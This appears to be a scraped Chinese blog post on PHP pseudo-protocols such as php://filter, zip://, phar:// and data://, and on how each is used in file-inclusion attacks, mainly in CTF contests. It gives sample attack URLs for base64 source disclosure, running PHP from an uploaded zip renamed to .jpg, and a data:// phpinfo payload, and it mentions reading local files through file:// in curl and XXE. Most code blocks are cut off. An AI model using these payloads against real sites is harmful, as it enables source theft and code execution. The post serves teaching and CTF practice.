理清一下,每个协议的利用思路
相关栗子
1 |
三个白帽 |
php://
php://filter
这个经常在ctf比赛中用来读取源码,返回的是base64加密后的结果。
假设index.php源码如下:
读取文件。在
1 |
<?php |
利用php://filter读取index.php源码
1 |
http://XXX/index.php?file=php://filter/read=convert.base64-encode/resource=index.php |
死亡退出
1 |
<?php |
php://input
1 |
<?php |
file://
直接使用
1 |
<?php |
curl_exec($ch)
中的$ch
可控,原本是希望能curl到远程服务器上的资源,但这里可以利用file://读取到本地敏感文件
结合xxe
比如XXE中,经常使用它来引入外部实体符号。比如以下payload:
1 |
<?xml version="1.0" encoding="utf-8"?> |
phar://
利用条件:
php>5.3
假设有个文件phpinfo.txt,其内容为,打包成zip压缩包,可以修改成任何后缀。
zip://
使用方法:
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
测试现象:
1 |
http://192.168.0.31/cmd.php?file=zip://C:/phpStudy/PHPTutorial/WWW/phpinfo.jpg%23phpinfo.php |
先将要执行的PHP代码写好文件名为phpinfo.txt,将phpinfo.txt进行zip压缩,压缩文件名为phpinfo.zip,如果可以上传zip文件便直接上传,若不能便将phpinfo.zip重命名为phpinfo.jpg后在上传,其他几种压缩格式也可以这样操作。
由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径
bzip2://
使用方法:
1 |
compress.zlib://file.gz |
测试:
1 |
192.168.0.31/cmd.php?file=compress.bzip2://./phpinfo.jpg |
zlib://
使用方法:
1 |
compress.zlib://file.gz |
测试现象:
data://
1 |
访问http://localhost:88/test.php?file=data:text/plain,<?php phpinfo();?> |
如果用file_get_contents函数做测试的话,大多都和include函数相同,不同的就是php代码不能解析,直接输出
参考文章:
浅谈php伪协议及在CTF比赛中的应用https://chybeta.github.io/2007/06/22/%E6%B5%85%E8%B0%88php%E4%BC%AA%E5%8D%8F%E8%AE%AE%E5%8F%8A%E5%9C%A8CTF%E6%AF%94%E8%B5%9B%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8/
php 伪协议
https://lorexxar.cn/2016/09/14/php-wei/
PHP伪协议分析与应用
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论